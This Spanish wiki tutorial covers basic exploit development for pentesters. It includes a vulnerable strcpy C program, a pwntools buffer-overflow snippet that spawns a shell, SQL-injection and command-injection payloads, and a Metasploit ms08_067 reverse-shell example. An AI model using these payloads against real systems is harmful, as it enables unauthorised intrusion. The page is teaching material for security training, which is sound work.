[[hack_roadmap-0|Up]] ====== Desarrollo de Exploits Básicos ====== El desarrollo de exploits es una habilidad esencial para un profesional en seguridad informática y pentester. Los exploits son programas o scripts que aprovechan vulnerabilidades en software o sistemas para ejecutar acciones no autorizadas, como ejecutar comandos arbitrarios o acceder a información sensible. Aquí desarrollaremos los fundamentos del desarrollo de exploits básicos. ===== Introducción al Desarrollo de Exploits ===== ==== Conceptos Clave: ==== * **Exploit:** Código diseñado para aprovechar una vulnerabilidad. * **Vulnerabilidad:** Debilidad en un sistema o software que puede ser explotada. * **Payload:** Código que se ejecuta una vez que la vulnerabilidad ha sido explotada. * **Buffer Overflow:** Tipo común de vulnerabilidad donde se sobreescribe la memoria adyacente. ==== Recursos: ==== * [[https://owasp.org/www-project-web-security-testing-guide/|OWASP Testing Guide]] * [[https://www.exploit-db.com/|Exploit Database]] ===== Entendiendo las Vulnerabilidades ===== ==== Identificación de Vulnerabilidades: ==== Utilizar herramientas como **Nmap**, **OpenVAS**, y **Nessus** para escanear y encontrar vulnerabilidades en el sistema. nmap -sV --script vuln ==== Tipos Comunes de Vulnerabilidades: ==== * **Buffer Overflow** * **Format String Vulnerabilities** * **Command Injection** * **SQL Injection** * **Cross-Site Scripting (XSS)** ==== Recursos: ==== * [[https://nmap.org/book/nse.html|Nmap Scripting Engine (NSE)]] ===== Análisis de Buffer Overflow ===== ==== Concepto de Buffer Overflow: ==== Ocurre cuando más datos de los esperados se escriben en un búfer, sobreescribiendo la memoria adyacente. ==== Ejemplo de Código Vulnerable: ==== #include #include void vulnerable_function(char *str) { char buffer[64]; strcpy(buffer, str); // Vulnerable to buffer overflow } int main(int argc, char *argv[]) { if (argc > 1) { vulnerable_function(argv[1]); } return 0; } ==== Explotación Básica de Buffer Overflow: ==== Enviar datos más largos de lo esperado para sobreescribir la memoria y controlar el flujo del programa. ==== Recursos: ==== * [[https://www.acunetix.com/blog/articles/buffer-overflow-attacks/|Buffer Overflow Explained]] ===== Desarrollo de Exploits para Buffer Overflow ===== ==== Preparación del Entorno: ==== * Utilizar una máquina virtual o entorno controlado para pruebas. * Herramientas: **GDB (GNU Debugger)**, **pwntools** (para Python). ==== Encontrar el Offset: ==== Identificar cuántos bytes son necesarios para sobrescribir la EIP (Instruction Pointer). gdb -q ./vulnerable_program (gdb) run $(python -c "print('A'*100)") ==== Sobrescribir la EIP: ==== Una vez encontrado el offset, sobrescribir la EIP con la dirección de nuestro payload. offset = 64 eip = "\xef\xbe\xad\xde" # Dirección de prueba payload = "A" * offset + eip ==== Inyección de Payload: ==== Crear un payload que ejecute un comando específico o abra una shell reversa. from pwn import * p = process('./vulnerable_program') payload = "A" * offset + p32(0xdeadbeef) + asm(shellcraft.sh()) p.sendline(payload) p.interactive() ==== Recursos: ==== * [[https://docs.pwntools.com/en/stable/|Pwntools Documentation]] * [[https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf|GDB Cheat Sheet]] ===== Desarrollo de Exploits para Vulnerabilidades Web ===== ==== SQL Injection: ==== Explotar una inyección SQL básica para acceder a datos no autorizados. ' OR '1'='1 ==== Cross-Site Scripting (XSS): ==== Inyectar código JavaScript en una página web vulnerable. ==== Command Injection: ==== Ejecutar comandos arbitrarios en un servidor vulnerable. ; ls -la; ==== Recursos: ==== * [[https://owasp.org/www-community/attacks/SQL_Injection|OWASP SQL Injection]] * [[https://owasp.org/www-community/attacks/xss/|OWASP XSS]] * [[https://owasp.org/www-community/attacks/Command_Injection|Command Injection]] ===== Utilización de Metasploit Framework ===== ==== Introducción a Metasploit: ==== * Herramienta poderosa para el desarrollo y uso de exploits. * Modulo de exploit, payload y post-exploit. ==== Ejemplo de Uso: ==== msfconsole use exploit/windows/smb/ms08_067_netapi set RHOST set PAYLOAD windows/meterpreter/reverse_tcp set LHOST exploit ==== Recursos: ==== * [[https://www.offensive-security.com/metasploit-unleashed/|Metasploit Unleashed]] ====== Conclusión ====== El desarrollo de exploits básicos es una habilidad fundamental en el campo de la seguridad informática. Comprender cómo identificar y explotar vulnerabilidades, desde buffer overflows hasta inyecciones SQL y XSS, es esencial para evaluar y mejorar la seguridad de los sistemas. A través del uso de herramientas y técnicas adecuadas, se puede realizar un análisis profundo y detallado de las vulnerabilidades presentes en aplicaciones y sistemas, fortaleciendo así la postura de seguridad general de una organización. ===== Recursos Adicionales ===== * [[https://www.exploit-db.com/docs/english/28476-exploit-writing-tutorial-part-1-stack-based-overflows.pdf|Exploit Development]] (Exploit DB)